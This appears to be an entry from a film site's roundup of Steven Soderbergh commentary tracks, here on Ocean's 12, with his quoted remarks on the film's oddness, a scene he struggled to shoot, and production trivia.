Why Listen: It’s wonderful to be reminded of what great fun this sequel is. Soderbergh rarely ever praises his own work and never pats himself on the back, but if there’s one movie on this list he shows the most fondness for, it’s probably Ocean’s 12. To Soderbergh, Ocean’s 12 is like the most expensive episode of a 1960s television show and “…David Holmes’ score is worth the price of a ticket, even if you ignore everything else about it.” There’s plenty of great nuts and bolts info as well from Nolfi and Soderbergh, which will fascinate and delight any fan. It’s a must-listen for the true Ocean’s 12 believers.

What’s Said: When Soderbergh was on the press tour for Bubble, people shared their honest thoughts of Ocean’s 12 with him. What they didn’t like about it is probably what Soderbergh likes about it most:

In the third film, we go back to Vegas. We have a new antagonist. I think that’s working well, but it wouldn’t have worked well if we hadn’t gone somewhere else for the second one. This is, you know, the Empire Strikes Back of the series [his and Nolfi’s favorite of the series]. The things about this movie that people had issues with end up being, for me, the things I liked about it. First of all, visually, I think it’s the best of the three. The weirdness of it, the oddness of it, is the very thing I like about it. It doesn’t work the way movies like this usually work, if it works. I think if you watch it over and over again, which I encourage you to do…They should keep watching it until they like it. If you didn’t like it when you saw it, you just didn’t watch it enough.

A Day on the Job: When Rusty tells the crew about Isabel Lahiri (Catherine Zeta-Jones), Soderbergh says it was a scene where he wasn’t initially sure how to shoot it:

This is one of those days I wasn’t quite sure how I wanted to do it, and I ended up sending people away. I ended up shooting in a way that I don’t think is that interesting, but I couldn’t find another way. I don’t feel I ever got it properly. I felt, like, if the guys themselves are okay, it’s a nice set, and Jim did a great job of coming up with a practical lighting situation that looks nice and works. I decided I had to shoot this thing and kept going. I can’t just sit here and stall forever. We had two days to shoot this scene [the scene with Pitt and Jones in the apartment] and the next scene. We shot this, I started staging the next scene, and told everyone to go home because I needed to think about this more. As you can see, it’s not a profoundly interesting series of shots. I don’t know, I was kind of stuck. You have those days.

Soderbergh also didn’t want to over do it with the camera because there’s so much information in the scene.

Trivia: Soderbergh saw Paris Hilton wearing a shirt with “Your boyfriend wants me” printed on it. Soderbergh knew Topher Grace had to wear it in the movie.

Extra Bit of Trivia: The final shot was an accident. Zeta-Jones actually fell out of her chair while shooting, and Soderbergh thought a freeze-frame of her laugh was the right note to end the movie on.

One Last Thing: I can’t recommend Brad Pitt, Matt Damon, and Andy Garcia‘s commentary for Ocean’s 11 enough. It’s hysterical. A lot of time is spent poking fun at George Clooney.

Continue Reading Four Great Steven Soderbergh Commentary Tracks >>

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